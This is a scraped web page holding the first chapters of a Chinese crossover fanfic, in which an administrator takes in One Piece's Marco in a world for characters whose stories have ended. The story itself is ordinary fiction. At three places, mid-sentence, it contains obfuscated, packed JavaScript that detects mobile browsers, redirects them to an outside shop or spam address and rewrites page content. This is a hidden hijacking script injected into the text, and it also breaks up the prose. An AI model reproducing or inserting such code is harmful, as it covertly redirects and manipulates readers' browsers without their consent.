《[死火海]伟大航路就这》 1. 01 到来(1) 半个月前,我向办事处提交了《能力者收编意愿》申请表,申请在即将散场的海贼剧组里领取到一个会照顾人的医生。 唯一条件为:医生。 可选关键词为:恶魔果实,动物,温暖,可爱,毛绒绒。 一周前,我接到了办事处的回执: 符合我条件的能力者已抵达,请管理员尽快到申请的办事处领取。 …… 最近是传出了海贼即将完结散场的消息,因此办事处也活跃起来,开始催促各位管理员提交申请。 上一次这么轰炸还是在火影散场的时候,距今也有…… 有…… “卡卡西。” “啊?” “你来我们家几年了?” “六年了啊,大小姐。怎么了?” “没什么。” ——嗯,距今有六年了。 但距离海贼散场,起码还有好几年的时间。 这里是世界之外的新世界,由管理员所搭建,收纳来自死神、火影、海贼,三个世界的人。当角色们在故事里死亡或者整个故事全剧终后,就会度过世界的边界,抵达我们这里继续生活。 眼下海贼还没散场,乔巴也活跃在剧情里,势必会和主角路飞一起战斗和存活到全剧终,并不满足来到这里的条件…… 那会是谁呢…… 我在办事处登记了信息,走过了漫长的通道。 这里人迹罕至。 “管理员大人,您好。” “分配给您的能力者就在里面,您是否需要进入房间?” 工作人员恭敬地弯着腰。 我不作声,看见房间门口代表极端危险的“SSS”。 卡卡西笑着招呼他:“……这里很危险呢,那把钥匙给我,你和同事们都退出去吧。” “可是……” “没事的。” 卡卡西问他要来了钥匙。 只有一把——能打开房门,也只能打开房门。 “还有的呢?” “还有的得在管理员大人确定接收以后——” “我们会收的,”卡卡西说。 “但是这个……您最好还是先确认,”工作人员再三示意房门上的“SSS”,试图像我们说明一点什么。 “抱歉,没事的人先离开这里吧。” 卡卡西遣散了走道里执勤的工作人员,凑近了些。 “好了,渐次,这里也没有别人,什么情况说说吧。” 我看向面前这位战战兢兢像是初生小鹿的中年男士—— 我不认识他,从没见过。但卡卡西叫他名字而不是姓氏的话,那是说,这位从前也是木叶的忍者。 这里是三个世界的集合。原则上说,来到这里以后不应该和过去再有牵扯。 不过卡卡西做过火影,实力强,人缘好,他偶尔拉关系以便于更好的开展工作……我是默许的。 “别紧张,”卡卡西安慰他,“这位可不是外人啊!” “是,是。” 我不认识他,不知道他在“是”什么,但他肯定地回答—— “是,是的!” “那就说说吧,到底是什么情况?”卡卡西笑着。 即便如今不再是火影大人了,他在木叶忍者的心里仍然有不可或缺的地位。 渐次小声交代:“卡卡西大人,里头这位风险等级过高。系统给出了强制扣留指令,我们都没有权限可以解除。” “喔……也就是说,需要管理员本人处理?” “是的。” 卡卡西看着我:“那我去一趟?” “……” 我松开了他的胳膊,目送他们说着话走远。 “渐次,不要叫我大人了,在这里我们都属于能力者,没有区别。” “但您曾经是火影大人!” “……那是曾经,我们现在只是普通同事而已。” “但是——” “没有但是。可不是每个管理员都跟我家这位,要想好好生活就不要给自己惹麻烦。” “是,是!” …… 声音消失在走廊尽头,卡卡西的背影遁入了明媚的秋色里。 时值正午,与那阳光璀璨的金色不同,这背阳面的走廊只有刺骨的寒冷。 没有别人。 我往前走,鞋跟踏出尖锐的高响。声音穿透漫长的走道,在深处传来了锁链的噪音。 我推开了令我困惑的这扇门。 里面比走廊更加阴寒。 锁链锁住了他的双踝与双腕,他不得已坐在地上,靠着墙,很大一只。 这种双腿分开略显颓废的坐地姿势,卡卡西精疲力尽的时候也经常使用。卡卡西身高一米八一,看起来,他的身形比卡卡西更为高大。 我走近了一些,人已到了他腿边,他才终于抬起头来。 当然不是乔巴。 我认出他了,白胡子海贼团一番队的队长马尔科。 ——不死鸟果实能力者,拥有人兽两种形态。 ——早期是航海士,后来不知道为什么,成为了船医。 ——众所周知,海贼里的船长都非常脱线,除了披荆斩棘的气概与气魄,私下生活中是白痴一个,所以每个船队都必须配备一个十项全能的副船长,换言之,每个船队的副船长都是很会照顾人的存在。 但为什么是马尔科呢? 就像正在参演的乔巴不会出现在这里一样,根据法则,马尔科也不应该出现在这里。 剧本里的确发生了,顶上战役后,白胡子海贼团分崩离析。但我没有听说过马尔科会死,我记得他还会在两年后踏上和之国,作为白胡子海贼团的“代表”,继承艾斯的遗志,帮助主角路飞一伙儿解救和之国。 我确定他活着。 不管在白胡子战死后,白胡子海贼团的残党们与黑胡子“决战”中发生了什么,马尔科都活下来了,他活得好好的。 他怎么会来这里? …… 走廊里传来了脚步声。 “我回来了,”卡卡西在门边探头探脑,“啊嘞,你已经进来了?” 没有别的脚步声。 我问他寻找答案:“报告书有吗?” “啊,你知道了!”他从身后掏出来。 一旦办事处提供这份册子,意味着情况非同寻常。 卡卡西带回来的册子里清楚记载: 一周前,马尔科来到边境,被负责管理边境的管理员观测捕捉。被办事处登记在册时,触发了匹配机制,分配到刚提交申请表的我的名下,但同时初步审核认为其来因不明,恐给世界带来不可预知的影响,暂时做出扣留决定,于一周后才向我下发了通知。 这一周内,办事处对其进行了全方位的检测。报告书里亦附上了这份检测报告。 报告显示马尔科身体健康,并无异常,除了他的年纪——马尔科自称四十三,但据检测,身体的年龄才三十而已。 奇怪。我不由得拧了下眉。 这种情况不是没有存在过—— 譬如木叶之光旗木卡卡西,三十岁那年死在佩恩的手下,因为读者们的要求强行复活。他来到这边的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073596|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间是三十岁,且定格在三十岁。剧目散场后他再次抵达这里,虽然已经是四、五十的心,身体却仍维持三十岁的状态。 因为不是同一个世界,两边时间是错乱的。 不对等,意味着什么都可能发生。 马尔科的“异常”与卡卡西的似有异曲同工之处。 卡卡西已看过报告,也说起这话:“看起来是和我类似的情况。” “嗯,”我不否认,又想到另一种可能,“什么时候了?” 卡卡西会意,立马询问:“马尔科,你们那边是什么时候?” “什么?” “就是说——来这里之前,你正在干什么?” “我刚和黑胡子蒂奇打完了却之战。” “你死了吗?”卡卡西问他。 他双眼迷茫,反问我们:“我死了吗?” “……” 他两面面相觑,谁也得不出答案。 我也没有结论。但听完这番话,我想除了“死亡”,也没有什么别的解释了。 毕竟心理四十多,身体却尚且年轻这件事——迄今为止,我们这里有且只有发生过一次,那就是旗木卡卡西。既然有他珠玉在前,马尔科在后续仍要出场的前提下来到这里,就一定是死了。 至于马尔科身上并没有明确的“死而复生”剧本,却即将经历“死而复生”这件事——没有别的可能,我认为与他的果实有关系。 毕竟号称“不死鸟”,但迄今为止,剧目中仅表现出了他超强的治愈能力,对“不死”毫无笔墨勾勒。 我想,这或许就是其中之一。 比起和卡卡西类似,受到特殊的果实影响更为合理。 而如果没有别的可能性,即便这个推论是空中楼阁,它也是唯一的答案。 办事处对这件事没有定论。只是碍于不合常理,恐威胁世界稳定,给马尔科标注了前所未有的风险等级。建议管理员维持现状,暂不领取,再观察一段时间。 我脑中已有定数。 而且不论如何,他已经来了。 一旦来到这里,要解决的就不是“怎么来”的问题。 “初次见面,你好,马尔科,”卡卡西解开了他手脚上的镣铐,正式介绍道,“我叫旗木卡卡西,你叫我卡卡西就好。” 在原世界具有非常能力的人,来到这里会被列为“可能破坏世界稳定性”的危险分子。为安全起见,办事处会为其分配的管理员。能力者们和管理员生活在一起。在办事处待了一周时间,马尔科应该有所了解。 他没有表现出诧异,只是后知后觉地点着头,看看卡卡西,又看着我。 “她是我们家的管理员,别人家是叫‘主人’的,我们家例外点,叫‘大小姐’就好。” “……”而他仍是懵懂和愕然。 一如我所说,现在的问题并不是他为什么来,而是他已经来了,要如何面对一切? 在那一片天空生活了一辈子,突然某一天喊“卡”,被告知一切都是舞台上的表演,他们只是生来就参与的演员,现在戏剧落幕,他们也将离开剧场开始自己新的生活——那过去的一切到底算是什么呢? 马尔科的双眼充满迷茫。 太正常不过了。每一个刚来这里的人都这样。 但他们必须接受现实—— 火影也好,死神也罢,亦或者不久的将来会落幕的海贼。当演出结束,他们必须离开舞台,来到这里开始他们的生活。 他们必须接受,因为如果不这样,他们只会随着闭幕的世界一起消散。只有来这里,才能继续活下去,开始他们新的生活。 2. 01 到来(2) 而怎样活下去,就是我们这些管理员存在的意义。 手脚上的镣铐解开了,马尔科的脖子上还剩一道。 那不是普通的锁链,而是办事处用于镇压能力者的“束缚装置”。所有过境的能力者无一能免。一旦戴上,也无一例外地会被封印住各式能力,变成平平无奇的普通人。 这正是管理员“管理”的本质。 卡卡西没有解除的权限,除非是收编该能力者的管理员本人,而且要拥有足够位阶。 “那这个——”马尔科指着自己脖颈上的项圈。 那是侮辱的,我知道。 但在这里生活,人不应该有太多的“自我”。 我没有开口,是卡卡西笑着说:“那个没办法的,你是新来的,按照规矩应该先被管理员降服。” “降服?” “这个嘛……说来话长,一时半会儿解释不清楚。”卡卡西说。 他这人总是口是心非,嘴巴不可信。 我看着散落一地的枷锁,稍等片刻,果然听他话锋一转,又自发解释道:“总之,无论是哪个世界都会觉得人死以后,灵魂应该上天堂或者下地狱,但其实不会,生死只是一种演出时的状态,最后的最后,所有人都会一起来到这里——” 这里是一个有别于“从前”的新世界,有自己的运行法则。 不论出身于何处,人一旦来到这里,就要摒弃过去的经历,学着入乡随俗,按这里的方式生活。 胡作非为是不被允许的。 “这是管理员们创建的世界,提供给所有人一起生活。能力者只占极少数,普通人居多。” “而这极少数的能力者却有极大的破坏力,非常容易影响这个世界的‘安定’——所以越是在他原先的世界里做英雄,来到这里以后,越是容易成为不被欢迎的‘阶下囚’哦!” 那个词语很不好听的,即便他说起时,口吻含笑。 马尔科微微愣着。 但不好听的东西往往就是真的。 管理员之于能力者,不仅是约束:无法接受新世界而精神错乱者并不少有,普通人无非以头抢地,能力者却能引发骚乱;此处并非法外之地,一旦伤人毁物,无论什么理由,都必须遭受律法的审判。 而在错乱发生前,先用暴力镇压,强制所有能力者都戴上项圈—— “霹雳手段,菩萨心肠……这样说可以理解吗?”卡卡西和他说。 “不过你很幸运。” “嗯?” “她不是‘主人’,而是‘大小姐’——你知道为什么吗?” “为什么?”马尔科很温和,也很配合。 这里不是说话的地方。 外面起风了,树叶婆娑起舞。走廊里很静,除了我们,再无他人。 我走上去,接替卡卡西蹲在他面前。 “头伸过来。” 他太高了。我得攀着他肩膀,才能在他的项圈后面录入指纹,进入管理员系统。 “啪”,那东西砸在地上,被卡卡西小心地收走。 “你很幸运,感觉到了吗?”卡卡西歪着头问。 马尔科愣着,闻言看了看他,又看了看我。 四目交汇时,他认真地在看我。 我想他感觉到了,没作声,默认罢了。 外面风停了,树叶已不再起舞。我们也该走了。牢房里充满了令人作呕的腐败气息——那味道我不喜欢。 至于马尔科,我没什么要说的,只希望他乖一点,别惹麻烦——那东西我也不喜欢。 我起身掸了掸裙摆。鞋跟跺在地上咚咚地响。 卡卡西会意,招呼马尔科:“能起来吗?我们要走了。” “……嗯。” 他后知后觉地点头,不用卡卡西搀扶,自己站起来了。没了脖颈上的枷锁,被压制的不死鸟能力又恢复如初。 青蓝色地火焰将他包裹,一瞬间,伤口全部愈合,整个人一改颓势,容光焕发。只有眼里还蒙着一层迷雾,连带着人像刚睡醒一样,满是呆滞。 “……哇哦!”卡卡西啧啧称奇。 我们得走了。走廊里有一些轻微的响动。渐演渐烈,是众人的脚步声。执勤的工作人员似乎已经回来了。 卡卡西捡起了地上的报告册,往走廊里探头。 声音很杂。我牵住了马尔科的手。 他僵了一瞬,瞪眼看我,仍不做声。 我没有解释。 是卡卡西笑着讲:“是得走了。你牵好大小姐,然后跟紧我。” 这条走廊很长,来时足足走了近二十分钟。 牢狱里除了马尔科,并没有看管其他能力者,但因为他“SSS”的风险等级,一条走廊站满了执勤的工作人员。每个人的脖颈上都套着黑色的项圈,且无一例外地因我的到来噤若寒蝉。 “辛苦了,各位同僚。” 卡卡西与他们打招呼,没人敢应,只有他在笑。 在清一色的黑色项圈里,只有一个例外——脖子里不是项圈,而是数字“378”。 这是管理员的标志,代表他是第三百七十八号管理员。 而风吹开我肩上的发,我脖子里的标号是“11”。 “马……嘛,现在稍微能感觉到你很幸运了吧?” 只要我出现就会变成这样。不会有人应答的,于是卡卡西又转来和马尔科说话。 我感觉卡卡西对马尔科抱有很大的好感。他又在笑了,比以往每一次都笑得开怀。不知怎么,心情很好,连解释都比平常细致许多—— “刚才说到哪儿了?总之,死亡的人会来到这里,故事结束后活着的人也会来到这里。一个世界的人口数以千千万,三个世界合在一起,人口基数非常庞大……维护这么多人和谐生活却不是一件简单事。” 沿着走道一直向前,透过高处的小窗,可以看到远方高楼林立。 天空蔚蓝而高阔,云彩懒散且隽永。 没有波澜壮阔的风浪,只有平静祥和的安宁。 无所谓他们从前生活的地方是贫穷还是压迫,是喋血还是残忍——这里充满秩序与和平,是适合抛开一切过往,好好生活的地方。 在马尔科抵达边境,而后被办事处收押看管的一段时间里,工作人员理应给过他一些有关这世界的阐述和说明。 卡卡西没再赘述,直入主题:“管理员也很多,但他们不像我们有名字,他们按能力排名——” 而我的编号是十一。 意思是,在数以万计的管理员中,我位列第十一位。 往上固然还有十位强者,但那不足为惧。 毕竟我们家有特殊情况。 “管理员的编号等同于实力,这‘实力’包含两部分:一是管理员本身的力量;二是该管理员手上降服的力量——也即该管理员手下能力者的‘能力’。” 这是人尽皆知的事情,不是什么秘密,众目睽睽,卡卡西照说不误。 “你来得早,现在海贼剧场还没有全面落幕……绝大多数管理员手上只有两个能力者,但加上你,我们大小姐手下有三个能力者了。”卡卡西告诉他。 “三个?”马尔科敏锐地抓住了重点。 “哦,忘记说了,”卡卡西连忙解释,“为了防止一个管理员手下的力量过分集中,按办事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073597|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处的规矩,管理员们在每个世界可以降服一个能力者。” 这里是三个世界的总和。那我手下当然有三个能力者。 “我们家还有一位,他——” “什么事耽搁这么久?” 那一位的声音正从走廊的尽头传来。 这条路终于要走完了。 尽头的秋光里,隐约可见梧桐树下一丝不苟的身影。那是我手下另一位能力者,死神剧组的桧佐木修兵。 “修兵,”我叫他名字。 “嗯,怎么了?”他低着头调试相机,听到我声音,连忙举起来抓拍了几张。 我拽住马尔科快走,跟他讲:“收到报告书了。” “哈?”修兵挑了下眉,“这不是很难遇到一次吗?” “是的。”我却遇到了两次。 ——你也是有够好运的。 修兵瞄了我一眼,没开口,无声胜有声。 卡卡西心照不宣地笑。 “呐,介绍一下,这就是我们家的新成员,叫马尔科。” “桧佐木修兵,”修兵伸出手,“生活上遇到任何问题,告诉我就好。” “……嗯,马尔科。” 工作人员们就在边上看着。这里也不是说话的地方。 “……里面冷。”我扯修兵袖子。 “那先上车。”修兵帮我开门,招呼他们上车再说。 车不急启动。 卡卡西握着方向盘,又说起:“马尔科,刚才你都看到了吧,所有能力者都要戴项圈——除了约束,其实也是联系管理员和能力者的纽带,能力者的那部分战力需要靠项圈‘增加’到管理员身上。” 但我手下的能力者不戴项圈—— 项圈的本质是以防各个世界的能力者给这个世界带来了灾难,所进行的强制性镇压;但如果分配的管理员对其有绝对性的实力差距,项圈也就没有存在的必要。 卡卡西没有重复这个公开的理由。 没有外人,他笑着说:“链接上我们三个,可能就上去了哦~” 来到这里,不可能没有人告诉马尔科——这个世界没有“神”。而排名前十的管理员,每个人身上都带有特殊的权能,是等同于“神”的存在。 一定有,因为他在看我,骤然睁大的双眼证实了我的推演。 “她对那种事情不感兴趣,”修兵开口。 “是的,”卡卡西也说,“我们家大小姐最讨厌麻烦了。” “可……单是我们船上,我也未必能排进前十吧。”马尔科突然说。 “可档案里介绍你是船副诶?”卡卡西说。 “什么?” “白胡子海贼团的副船长——”我不喜欢解释,但他惊讶的表情实在太过有趣,“很遗憾,就是在四皇之中,你也能排上前十。” “……”他没有回话,仿佛陷入深深的震惊中。 很多人把自己看得过于伟岸高大,刚来这里的时候落差会使其疯狂,像他这样的人凤毛麟角。 我对他有一点好感了。 该出发了。办事处的车辆鸣笛示警,在前方开路,卡卡西要跟车,暂时收声。 后座的马尔科也不再言语。 我从后视镜里观察着他的一举一动—— 他看着窗外,新奇又呆滞。 习惯于大海的人,一定会因陆地而惊异。而且比起他们那里几乎等同于原始森林的岛屿,这鳞次栉比的繁华都市会使他大开眼界。 对他而言是不小的挑战。 无论是割舍过去,还是融入现在。 “会好起来的。” 我不止是对他说。 3. 02 徘徊 卡卡西送我们到办事处的门口,但接下来的路,他不可以再和我们一起了。 “嘛,虽然很想一起回家,但是你也听见了——”他对马尔科说,“刚才是用大小姐的权柄强制性解除了风险等级才能带你走。这事不符合程序,得写报告和办事处交代,你们先回去吧,我得留在这里处理。” 办事程序十分繁琐。 参考毫无波澜的正常认领也要在确定领取的当天填写一整天的申请报告,我想马尔科这种惊涛巨浪的非常情况,不仅要额外提交数份报告,还要参与数个线上会议,通过办事处审核官员的层层考核—— 慢的话一两个月,快的话一两个星期,就算是卡卡西也得花上两三天时间。 “两三天里我肯定回不去了,”卡卡西也这么认为,“总之抱歉了,马尔科。这一段路你就跟着他们走吧。” “……嗯,”他并不清楚到底发生了什么,但马尔科回答,“给你添麻烦了。” 一句有如惊雷,惊得我和修兵都不由得多看了他一眼。 我不得不承认我有一点刻板印象——我本以为在死神、火影、海贼三个世界里,海贼的文化水平最低,画风也最粗糙,外貌也很奇怪。 但马尔科的话……还蛮有礼貌的。 在牢房里也是——与诸多来到这里的人不一样,他戴着脚铐,说话却仍然平静温和,没有攻击性。 他像是好相处的人。 我对他更多一点好感了。 “哈哈,别客气了,”卡卡西也很惊喜,笑容比平常更灿烂。 “你现在来我们家了,都在大小姐手下做事,就是一家人。一家人不说两家话。” 他该走了,但卡卡西还不想走。 他指着我介绍:“刚才有外人,不方便直说——我们家这位是个社恐,虽然一直冷着个脸,但没有不欢迎你的意思。等熟悉一点你就知道了,她真的很可爱的哦!” “还有这位酷哥,”说完了我,他又指着修兵,“看起来很酷,其实心肠很好,请他帮忙他从来不会拒绝——希望你不要误会,我家这两位都比较内敛,不太擅长表达。” 卡卡西是我们家唯一一个擅长表达的人,所以欢迎人的事都是他做。 可惜眼下我们不顺路,卡卡西不能替我们表达欢迎了。临别前他交代我:“嘛,好好相处哦,大小姐。有需要的话联系我。” “嗯。”我知道。 卡卡西笑着揉了揉我的脑袋,又和马尔科交代:“至于你,马尔科——在我这边手续办好之前,你尽量少出门,出门也要跟紧大小姐,一定要牵着她手。” “……” 那种话毫无铺垫,马尔科如坠五里雾中,只有愕然。他看看卡卡西,又看着我。 我无从解答,是修兵开口:“好了,你去忙吧,我和他说。” 离开办事处,车往小镇的方向挺近。 路上没有行人,也没有太多车辆。沿途风景极好,马尔科看着窗外,修兵便贴心地降低了车速。 “还是项圈的事,”他抽空和马尔科介绍,“卡卡西想和你说的。” “管理员的排名越高,各方面待遇都会越好。虽然办事处明令禁止,但事实上,一直都有管理员聚众绞杀上位管理者,以抢夺其手下能力者的情况。” 办事处拟定《能力者分配条例》的本意是好的。 毕竟管理员也会死亡,而“一旦管理员死亡,其手下能力者会被办事处接收,再次投入分配”,可以最大程度的保证所有能力者都处于动态监管之中,能极好的维持社会的稳定。 只是林子大了什么鸟都有,管理员们也不例外——卡卡西和修兵的提醒非常必要——不要对职业和身份存有不切实际的想象。 我们家情况特殊,这种事情更要严防。 他们三个都不戴项圈。一旦被套上,会在极短的时间内失去能力,变成任人宰割的鱼肉。所以遇到不怀好意的管理员时,要及时联系我—— 能力者没有办法杀死管理员,只有管理员可以。 这和办事处条例无关,是世界存在的法则。 因为不是一个世界,时间和能力并不对等。同一世界的犯罪者,只能由同一世界的能力者去牵制;管理员可以制约所有能力者,但管理员本身只能由管理员解决。 “我们家不戴项圈,在办事处的定义里是‘无主’状态,出门要小心被别的管理员盯上。” “本地的管理员都知道大小姐的位阶,不敢乱来,要谨防外地路过的……落单时突然被套走的话,我们甚至没有地方去找。” “平常尽量不要显露自己的能力者身份,要像普通人一样生活,要特别注意。” “还有,不想去别家叫主人、戴项圈的话,就要保护好她。她有些笨拙,手脚不灵便,走路都摔跤,被针对就很麻烦……出门就尽量牵着,免得搞丢了,明白吧?” “……嗯,”他看了我一眼,点着头,应该懂了。 “之前都是卡卡西负责照顾她,以后就交给你了……”修兵又和他说。 除了安全,别的倒没有需要注意的。 路很长,车里过于沉默。修兵有一茬没一茬地和他说话—— 这里是三个世界的集合。 城市管理的事情统一由办事处负责协调,而管理员们根据自身能力大小,负责协助办事处的业务办理,以换取生活所需的物资与报酬。 每个管理员没有固定的辖区,可凭借自己的喜好选择居住地。但一般情况下,为了最大限度的领工资,以及不发生争执,上位者总是默认独立管辖,避开彼此的势力范围。 我们所在的地方,是相当偏远的十八线城市。 这种地方理应由三名及以上三位数的管理员共同执政。 我之所以来,一方面是因为性格,不喜社交;另一方面也是因为性格,讨厌麻烦。 我不在办事处任职,也无心卷入他们的纠纷,只领取手下镇压两位强大能力者的基本工资,以及派遣卡卡西去接一些超出本地当权者实力水平的委托差事,赚一点外快。 这部分入账并不会划分到我的银行卡上。 我还欠办事处很多,无论做多少都只是在抵消负债而已。 日常生活依靠修兵在编辑部打工。他很勤奋,也很努力,如今已稳坐编辑社明星主编的位子。一月工资能有六千! 虽说在这十八线的小城市里,消费水平较低,平均月薪两千有余。修兵月入六千块实属凤毛麟角。但除开房贷、车贷,每月能结余下的也不多,够养活一家人而已。 ——我们家可是标准的月光族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073598|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 …… 我闭着眼,百无聊赖地听着修兵把家里情况一五一十地交代给马尔科。马尔科静静听着,沉默的样子仿佛根本没有在听。 我想他的心思并不在眼前。 这是不对的。我说了,这个世界没有过去,他已经不是白胡子海贼团一番队队长“不死鸟”马尔科了,不要再留念过去了。 他必须向前走,无论他是否甘心。 我会拿着鞭子赶着他往前走。 因为我是他的管理员。 我得帮助他重新开始生活。 “……到了,下车吧。” 车开了一个小时,终于到了,我们的家。 一如修兵介绍的那样,我们家不富裕,房子也不大。除了公共的客厅、餐厅、厨房、卫生间,只有三个单独的房间。 修兵给他介绍家里的布设,详说起房间的归属。从书房开始—— 书房有巨大的桌子,可以用来练字,所以改成了修兵的卧室;而次卧光线略差,正方便卡卡西补觉,所以交给了卡卡西;主卧带一个单独的卫生间,所以独属于我;而至于马尔科…… ——没有房间给他。 话到这里,修兵戛然而止。三番五次的有口难言,欲言又止,而马尔科在旁听着,竟毫无觉察。 …… 我实在认为他的心思不在眼前。 但这是不对的。 于是我叫他名字:“马尔科。” “嗯?”他一愕,如梦初醒。 “没有你的房间了,以后你跟我一起睡。” 如果我告诉修兵“跟我住”,他会瞬间从酷哥变成青涩害羞大男孩,一跳八丈高,脸红得像天边的夕阳。 “你在说什么啊!” “不行!绝对不行!” “男女授受不亲!” …… 我甚至能想象到他一秒破防,恼羞成怒的语气。 之前我担忧马尔科也这样,那会很麻烦。 在马尔科到来之前,我们开了一场家庭小会,商量新人该住哪里的问题。 我们家真的没有别的房间,他俩的床也只有一米五宽,睡下他们自己都算勉强,睡不了两个人。而且那已经是他们的房间了,不能再成为马尔科的。 只有我可以分给马尔科一些。我的房间宽裕一点,床也大,有两米二,勉强能睡下他。 起初,我想把我的房间让给马尔科,我搬到客厅睡沙发。但卡卡西和修兵双双反对。 后来,修兵说把他的房间让给马尔科,他搬去编辑社住。但卡卡西和我一起反对。 接着,卡卡西又说他可以让出房间,毕竟马尔科到来后,他就可以出去接委托。经年累月在外活动,偶尔回来一次,睡一下沙发也没关系。 “这是家,这不是旅馆!”我和修兵异口同声,绝不答应。 最后,我提议马尔科和我一起住,他们两个倒是答应,我们三个却会一起担心万一马尔科不愿意该怎么办…… 如果马尔科不愿意,那真的会很麻烦。 但当我直截了当地告诉马尔科,措辞不是“跟我一起住”而是更激烈的“跟我一起睡”,他却只是点头,平静地像是湖面偶然荡起了一阵微风。 轻风而已,甚至不是什么惊雷。 4. 03 外卖(1) 这样不行。 我分不清楚马尔科究竟是性格稳重还是受到过分打击,导致认知失调。一转眼从办事处回家两天,他在家里呆着,始终寡言少语,冷漠得好像这屋子里没有人。 我们家没有出现过这种情况。 修兵是在死神故事结束后来到这里的,真相没有给他带来太多心理负担。且总体来说,在这里的生活和过去并没有太多的区别——同样是穿义骸,同样是“现世”——唯一的差距无非是社交关系全部清零,新认识一个我而已; 卡卡西虽然出了点岔子,提前来过这里,但正式抵达仍是火影故事结束以后。彼时他正踏上一段旅程,和挚友阿凯一起。区别也只不过是没有阿凯,“旅途”变成了和我与修兵一起……生活没有特别,他仍然出任务,办事处的运转方式和火影的模式也很相似。 马尔科这样的情况十分特别,也很棘手。 就这么让他在家里呆着也不是个办法:我们带他回家,是要让他成为我们家的一份子,和我们一起生活。但现在这种情况,无非是从一个铁牢换到了另一个铁牢里,只不过这一个牢笼长得像“家”而已。 这样下去不行。 马尔科必须往前走,就算他不想,我也要推着他。 这几天卡卡西不在家。修兵推了编辑部的差事,每天回家照料。 吃过晚饭,我想去找修兵聊聊。他默契地来找了我,问起:“马尔科今天说话了吗?” “没有,他像个呆瓜。” “那怎么办?”修兵问,“这样下去可不行,一直发呆会抑郁的。” “是的。”我也这样认为。 “秋天还没结束,要送他去上学吗?”他提议。 这种情况在我们家是第一次,但在别处却不少见。 为此,办事处在每个城市都设立了一所“新生大学”,以帮助当地居民更好地融入新生活。 学校里丰富多彩,琳琅满目,应有尽有。一旦他找到自己的兴趣所在,或许就能找到真正的自己。 我正有此意,连连点头:“给卡卡西说一声,办个手续。” “我先去联系学校。”修兵立马行动。 我俩一拍即合,把这事定了。马尔科没有什么意见。他对这里一无所知,无所适从。 在他找到自己的方向之前,正该由我这个管理员进行管理。 “马尔科,过两天你去读书。” 这就是我的决定。 而当我通知他,他木讷茫然,仍是平静地点头。“嗯”了声,但声音轻得几乎让我没听清。 …… 这样绝对不行。 修兵正在咨询学校,我催促他快点联系卡卡西。 卡卡西还没有回家,马尔科的认领手续比想象中还要复杂。 “……你再辛苦一下,大小姐想送马尔科去上学,”修兵打电话和他说,“学校这边我联系了,回复我说已经过了秋招时间,今年不再招收新生。” “上学不错啊,”卡卡西也说,时间不是问题,名额也不是问题,他脑子一转,只问一件事,“不过马尔科能一个人去上学吗?而且他一个人去的话,大小姐就只有一个人在家了……” 一番话简直是明知故问,马尔科当然不能一个人去。 他现在这种状态,人醒着与睡着并无区别,也无防备,遇什么都毫无波澜。出门不被人抓走就谢天谢地了,哪能放着他一个人? 而且我也不能一个人呆着,这是我们家的共识。 “他去上学,我和他一起。” 修兵要去上班,卡卡西要去办事处工作,似乎也只有我可以认领差事。 我想不出别的办法。 他们也不能,只会问我:“确定吗?” “嗯。” “那就简单了。” 卡卡西让我们放心,只管准备入学要用的文具,办事处那边他想办法处理。 他的能力毋庸置疑,隔日下午便传来回执——马尔科可以去学校报道了,不过是以“能力者”的身份。 “不能以普通人身份入学吗?” 我不满意这个答案。我不希望马尔科以能力者的身份入学。 能力者要配合管理员的工作,在维护社会稳定方面贡献自己的力量。以能力者身份入学,所学的知识体系将围绕办事处的工作方式展开,作为交换,管理员可以向办事处申请免学费。 但在我们家,办事处的工作全权交给了卡卡西全权负责。马尔科只需了解,无需深究。 我送他去读书,也不是为了省学费,而是要让他体验正常的校园生活。 “就知道你介意这个,安心,不是办事处的培训名额。” 卡卡西正在参加线上会议,只能偷摸打字回复我。 学校有自己独立运作的机制和意志。 普通人的入学手续由学校直接受理。办事处作为职能部门,通常情况下,只负责宏观调控和监管,不伸手干预校内事务。除非有特殊情况,需要学校配合工作,办事处会下达执行指令。 已经过了秋招时间,要送马尔科入学,这是唯一的办法。 能力者有自己特别的“身份系统”,该系统有别于普通人的身份认证,仅在办事处内部流通——也即,特殊情况下,办事处可以通过这套系统隐藏能力者的身份。 卡卡西深知内里门道,在里面卡BUG—— 他打了个报告,告知系统我们有暂不方便说明的特殊情况,需要隐藏能力者身份进校学习。 他绝对是个天才。 办事处的系统非常严格,但这份报告居然通过了。 “原来如此,我说怎么突然收到缴费通知了……真有你的,卡卡西!”修兵也加入了群聊,一来就赞不绝口。 “哈哈……之前看到同事这么干,被系统驳回了。但我一尝试居然通过了——应该是大小姐后台权限高的关系。总之,问题解决了就好。大小姐你只管带马尔科去学校登记,他现在的学籍是纯纯的普通人身份。” 